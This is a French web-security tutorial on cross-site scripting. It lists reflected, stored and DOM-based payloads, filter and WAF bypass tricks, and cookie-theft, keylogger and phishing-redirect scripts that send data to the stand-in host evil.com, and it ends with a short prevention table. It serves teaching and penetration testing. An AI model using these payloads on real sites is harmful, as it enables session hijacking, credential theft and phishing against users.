XSS — Cross-Site Scripting
Techniques d'exploitation XSS : Reflected, Stored, DOM-based, contournement de filtres et prévention.
Introduction
Le Cross-Site Scripting (XSS) est une vulnérabilité web qui permet à un attaquant d'injecter du code JavaScript malveillant dans les pages consultées par d'autres utilisateurs. C'est l'une des failles les plus répandues du web (OWASP Top 10). Elle permet le vol de sessions, la redirection vers des sites malveillants, ou l'exécution d'actions au nom de la victime.
Types de XSS
| Type | Persistance | Vecteur |
|---|---|---|
| Reflected | Non persistant | L'input est renvoyé dans la réponse HTTP |
| Stored | Persistant | L'input est stocké en base de données |
| DOM-based | Côté client | Manipulation du DOM via JavaScript |
XSS Reflected (Réfléchi)
Le payload est injecté dans un paramètre de la requête et directement renvoyé dans la page de réponse. L'attaque nécessite que la victime clique sur un lien spécialement forgé.
Détection Basique
# Test de base - injection dans un champ de recherche
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: target.com
# Si la page affiche le paramètre sans filtrage :
<p>
Résultats pour : <script>alert('XSS')</script>
</p>
# Test avec des balises HTML simples
<b>test</b>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Payloads Reflected Courants
// Injection directe
<script>alert('XSS')</script>
// Via attribut d'événement
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
// Via attribut href
<a href="javascript:alert(1)">Click me</a>
// Via iframe
<iframe src="javascript:alert(1)">XSS Stored (Stocké)
Le payload est enregistré côté serveur (base de données, fichier) et exécuté à chaque fois qu'un utilisateur consulte la page contenant le contenu malveillant. C'est le type de XSS le plus dangereux.
Vecteurs d'Injection Courants
# Commentaires / messages
Champ commentaire → <script>document.location='https://evil.com/steal?c='+document.cookie</script>
# Profil utilisateur
Champ "Bio" ou "About" → <img src=x onerror="fetch('https://evil.com/log?cookie='+document.cookie)">
# Noms d'utilisateurs
Username → <svg onload=alert(1)>
# Formulaires de contact / tickets support
Message → <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
XSS DOM-based
Le DOM-based XSS se produit lorsque le JavaScript côté client manipule le DOM en utilisant des données contrôlées par l'utilisateur sans les assainir.
Sources et Sinks
| Sources (entrée) | Sinks (exécution) |
|---|---|
| document.URL | document.write() |
| location.hash | innerHTML |
| location.search | eval() |
| document.referrer | setTimeout() |
| window.name | jQuery.html() |
// Exemple de code vulnérable
// Le fragment d'URL est injecté directement dans le DOM
var search = document.location.hash.substring(1);
document.getElementById("output").innerHTML = search;
// Exploitation
// URL: https://target.com/page#<img src=x onerror=alert(1)>
// Autre exemple vulnérable avec document.write
var url = document.location.href;
document.write('<a href="' + url + '">Retour</a>');
// Exploitation
// URL: https://target.com/page?"><script>alert(1)</script>Contournement de Filtres
De nombreuses applications implémentent des filtres pour bloquer le XSS. Voici les techniques de contournement les plus courantes.
Encodage et Obfuscation
// Encodage HTML des caractères
<script>alert(1)</script>
// Encodage URL
%3Cscript%3Ealert(1)%3C%2Fscript%3E
// Encodage Unicode
\u003cscript\u003ealert(1)\u003c/script\u003e
// Double encodage URL
%253Cscript%253Ealert(1)%253C%252Fscript%253E
// Encodage Base64 via eval
eval(atob('YWxlcnQoMSk='))
Contournement de Filtres de Balises
// Casse mixte
<ScRiPt>alert(1)</sCrIpT>
// Balises alternatives
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
// Sans parenthèses
<img src=x onerror=alert`1`>
<svg onload=alert(1)>
// Sans guillemets ni chevrons (dans un attribut)
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='Contournement de WAF
// Espaces alternatifs
<svg/onload=alert(1)>
<svg onload=alert(1)>
// Commentaires HTML
<script>al<!---->ert(1)</script>
// Concatenation de strings
<script>al\u0065rt(1)</script>
// Via constructor
<img src=x onerror="window['al'+'ert'](1)">
<img src=x onerror="self[atob('YWxlcnQ=')](1)">
// Utilisation de fetch pour l'exfiltration
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">Vol de Cookies et Exploitation
Exfiltration de Session
// Vol de cookies via Image
<script>
new Image().src = "https://evil.com/steal?cookie=" + document.cookie;
</script>
// Vol via fetch
<script>
fetch("https://evil.com/steal", {
method: "POST",
body: document.cookie
});
</script>
// Keylogger via XSS
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
</script>
// Redirection vers page de phishing
<script>
document.location = "https://evil.com/phishing?url=" + document.URL;
</script>
Prévention
| Mesure | Description |
|---|---|
| Output Encoding | Encoder les caractères spéciaux HTML avant affichage |
| Content-Security-Policy | Header CSP pour restreindre les sources de scripts |
| HttpOnly Flag | Empêcher l'accès aux cookies via JavaScript |
| Input Validation | Valider et assainir toutes les entrées utilisateur |
| SameSite Cookie | Limiter l'envoi de cookies cross-site |
[Attacker] [Victim Browser]
│ │
│ ── Lien malveillant ──────────────────────> │
│ (URL avec payload XSS) │
│ │
│ [Target Server]
│ │
│ Requête avec payload ────────> │
│ │
│ <──── Page + script injecté ───── │
│ │
│ <── Cookie / données exfiltrées ────────── │
│ │
[evil.com] │
Résumé
Le XSS est une vulnérabilité omniprésente sur le web. La compréhension des trois types (Reflected, Stored, DOM-based) et des techniques de contournement de filtres est essentielle pour tout pentester web. La défense repose sur une combinaison d'encodage de sortie, de validation d'entrée et de headers de sécurité (CSP, HttpOnly).